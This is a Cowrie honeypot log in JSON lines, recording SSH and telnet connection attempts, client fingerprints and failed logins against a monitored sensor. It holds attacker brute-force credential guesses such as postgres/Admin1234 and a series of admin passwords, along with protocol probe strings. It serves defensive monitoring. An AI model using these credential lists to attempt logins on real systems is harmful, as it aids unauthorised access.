{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin1234","message":"login attempt [postgres/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:37.198652Z","src_ip":"101.36.124.127","session":"70720b3e7d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:38.417544Z","src_ip":"101.36.124.127","session":"70720b3e7d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":60444,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4c9981464f","protocol":"ssh","message":"New connection: 27.119.7.6:60444 (10.17.0.5:22) [session: dc4c9981464f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:09.161085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:09.166887Z","src_ip":"27.119.7.6","session":"dc4c9981464f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:09.356643Z","src_ip":"27.119.7.6","session":"dc4c9981464f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demouser","password":"demouser@2024","message":"login attempt [demouser/demouser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:10.144454Z","src_ip":"27.119.7.6","session":"dc4c9981464f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:11.337028Z","src_ip":"27.119.7.6","session":"dc4c9981464f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":37549,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e16fe30b33a","protocol":"ssh","message":"New connection: 2.57.121.112:37549 (159.203.135.109:22) [session: 9e16fe30b33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:29.121475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:29.125641Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:29.231303Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20091972","message":"login attempt [admin/20091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:29.730600Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.122.252","src_port":45947,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec7abc7b2bf7","protocol":"ssh","message":"New connection: 159.203.122.252:45947 (159.203.135.109:22) [session: ec7abc7b2bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:29.805365Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:29.810098Z","src_ip":"159.203.122.252","session":"ec7abc7b2bf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200785","message":"login attempt [admin/200785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:30.840373Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200691","message":"login attempt [admin/200691] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:31.949476Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200681","message":"login attempt [admin/200681] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:33.060546Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200680","message":"login attempt [admin/200680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:34.169464Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:35.279375Z","src_ip":"2.57.121.112","session":"9e16fe30b33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":44234,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58f46bea341","protocol":"telnet","message":"New connection: 34.77.163.207:44234 (10.17.0.5:23) [session: d58f46bea341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:39.470685Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":44246,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e6575da95b","protocol":"telnet","message":"New connection: 34.77.163.207:44246 (10.17.0.5:23) [session: 74e6575da95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:39.624987Z"}
{"eventid":"cowrie.session.closed","duration":0.006915569305419922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:39.631754Z","src_ip":"34.77.163.207","session":"74e6575da95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":44248,"dst_ip":"10.17.0.5","dst_port":23,"session":"92147038ccb4","protocol":"telnet","message":"New connection: 34.77.163.207:44248 (10.17.0.5:23) [session: 92147038ccb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:39.783320Z"}
{"eventid":"cowrie.session.closed","duration":7.154394865036011,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:46.624968Z","src_ip":"34.77.163.207","session":"d58f46bea341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12100,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a647042ee8f","protocol":"telnet","message":"New connection: 34.77.163.207:12100 (10.17.0.5:23) [session: 2a647042ee8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:48.941134Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:48.947187Z","src_ip":"34.77.163.207","session":"2a647042ee8f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:48.955216Z","src_ip":"34.77.163.207","session":"2a647042ee8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09450006484985352,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:49.035500Z","src_ip":"34.77.163.207","session":"2a647042ee8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12112,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6e4870c8e3f","protocol":"telnet","message":"New connection: 34.77.163.207:12112 (10.17.0.5:23) [session: d6e4870c8e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:49.110017Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12126,"dst_ip":"10.17.0.5","dst_port":23,"session":"317ef76f2164","protocol":"telnet","message":"New connection: 34.77.163.207:12126 (10.17.0.5:23) [session: 317ef76f2164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:49.268948Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12136,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a22632e64f7","protocol":"telnet","message":"New connection: 34.77.163.207:12136 (10.17.0.5:23) [session: 1a22632e64f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:49.424821Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12138,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ffda69004f","protocol":"telnet","message":"New connection: 34.77.163.207:12138 (10.17.0.5:23) [session: 93ffda69004f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:49.580778Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12146,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cceff15a72f","protocol":"telnet","message":"New connection: 34.77.163.207:12146 (10.17.0.5:23) [session: 9cceff15a72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:49.738209Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12152,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d372a58f4e","protocol":"telnet","message":"New connection: 34.77.163.207:12152 (10.17.0.5:23) [session: 08d372a58f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:49.892900Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12168,"dst_ip":"10.17.0.5","dst_port":23,"session":"0516bbf02ef4","protocol":"telnet","message":"New connection: 34.77.163.207:12168 (10.17.0.5:23) [session: 0516bbf02ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:50.052832Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12178,"dst_ip":"10.17.0.5","dst_port":23,"session":"40734a0bdc53","protocol":"telnet","message":"New connection: 34.77.163.207:12178 (10.17.0.5:23) [session: 40734a0bdc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:50.210945Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12186,"dst_ip":"10.17.0.5","dst_port":23,"session":"1742a1a5088c","protocol":"telnet","message":"New connection: 34.77.163.207:12186 (10.17.0.5:23) [session: 1742a1a5088c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:50.369028Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12196,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb0c1accd9b","protocol":"telnet","message":"New connection: 34.77.163.207:12196 (10.17.0.5:23) [session: 8bb0c1accd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:50.599110Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12198,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe8d60b88e3","protocol":"telnet","message":"New connection: 34.77.163.207:12198 (10.17.0.5:23) [session: bbe8d60b88e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:50.753998Z"}
{"eventid":"cowrie.session.closed","duration":0.006215572357177734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:50.760072Z","src_ip":"34.77.163.207","session":"bbe8d60b88e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12210,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff2a84194e41","protocol":"telnet","message":"New connection: 34.77.163.207:12210 (10.17.0.5:23) [session: ff2a84194e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:50.909617Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12212,"dst_ip":"10.17.0.5","dst_port":23,"session":"32dd67df01a7","protocol":"telnet","message":"New connection: 34.77.163.207:12212 (10.17.0.5:23) [session: 32dd67df01a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:51.065186Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12226,"dst_ip":"10.17.0.5","dst_port":23,"session":"044d5714223a","protocol":"telnet","message":"New connection: 34.77.163.207:12226 (10.17.0.5:23) [session: 044d5714223a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:51.221068Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12232,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ce760038d7","protocol":"telnet","message":"New connection: 34.77.163.207:12232 (10.17.0.5:23) [session: d1ce760038d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:51.378204Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12236,"dst_ip":"10.17.0.5","dst_port":23,"session":"509a4933e543","protocol":"telnet","message":"New connection: 34.77.163.207:12236 (10.17.0.5:23) [session: 509a4933e543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:51.533007Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12248,"dst_ip":"10.17.0.5","dst_port":23,"session":"0479515406fd","protocol":"telnet","message":"New connection: 34.77.163.207:12248 (10.17.0.5:23) [session: 0479515406fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:51.687423Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12260,"dst_ip":"10.17.0.5","dst_port":23,"session":"02308a570dd0","protocol":"telnet","message":"New connection: 34.77.163.207:12260 (10.17.0.5:23) [session: 02308a570dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:51.841688Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12270,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d298f680ab5","protocol":"telnet","message":"New connection: 34.77.163.207:12270 (10.17.0.5:23) [session: 9d298f680ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.003365Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12274,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc4ae0378633","protocol":"telnet","message":"New connection: 34.77.163.207:12274 (10.17.0.5:23) [session: dc4ae0378633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.158931Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.165190Z","src_ip":"34.77.163.207","session":"dc4ae0378633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12290,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba76678d080","protocol":"telnet","message":"New connection: 34.77.163.207:12290 (10.17.0.5:23) [session: 7ba76678d080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.321187Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12298,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65fa392cf48","protocol":"telnet","message":"New connection: 34.77.163.207:12298 (10.17.0.5:23) [session: a65fa392cf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.475634Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12300,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f032afd58f","protocol":"telnet","message":"New connection: 34.77.163.207:12300 (10.17.0.5:23) [session: d2f032afd58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.630458Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12312,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c47e44b675","protocol":"telnet","message":"New connection: 34.77.163.207:12312 (10.17.0.5:23) [session: 16c47e44b675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.786402Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12318,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea96332197f","protocol":"telnet","message":"New connection: 34.77.163.207:12318 (10.17.0.5:23) [session: 8ea96332197f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:52.940914Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12322,"dst_ip":"10.17.0.5","dst_port":23,"session":"f36627a0567b","protocol":"telnet","message":"New connection: 34.77.163.207:12322 (10.17.0.5:23) [session: f36627a0567b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:53.096313Z"}
{"eventid":"cowrie.session.closed","duration":0.010541439056396484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:53.106508Z","src_ip":"34.77.163.207","session":"f36627a0567b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12326,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf691875c20","protocol":"telnet","message":"New connection: 34.77.163.207:12326 (10.17.0.5:23) [session: 9cf691875c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:53.257838Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.163.207","src_port":12334,"dst_ip":"10.17.0.5","dst_port":23,"session":"c94f4f5e43ce","protocol":"telnet","message":"New connection: 34.77.163.207:12334 (10.17.0.5:23) [session: c94f4f5e43ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:53.412246Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 2207","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 2207] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:02:53.417356Z","src_ip":"34.77.163.207","session":"c94f4f5e43ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.063953876495361,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.067186Z","src_ip":"34.77.163.207","session":"9d298f680ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.539756059646606,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.072594Z","src_ip":"34.77.163.207","session":"509a4933e543","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.234829187393188,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.076350Z","src_ip":"34.77.163.207","session":"02308a570dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.392847299575806,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.080082Z","src_ip":"34.77.163.207","session":"0479515406fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.8627188205719,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.083656Z","src_ip":"34.77.163.207","session":"044d5714223a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.709793329238892,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.087854Z","src_ip":"34.77.163.207","session":"d1ce760038d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.027692317962646,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.092746Z","src_ip":"34.77.163.207","session":"32dd67df01a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.186793088912964,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.096234Z","src_ip":"34.77.163.207","session":"ff2a84194e41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.500554323196411,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.099568Z","src_ip":"34.77.163.207","session":"8bb0c1accd9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.7401123046875,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.108865Z","src_ip":"34.77.163.207","session":"1742a1a5088c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.219611167907715,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.112388Z","src_ip":"34.77.163.207","session":"08d372a58f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.905009031295776,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.115815Z","src_ip":"34.77.163.207","session":"40734a0bdc53","protocol":"telnet"}
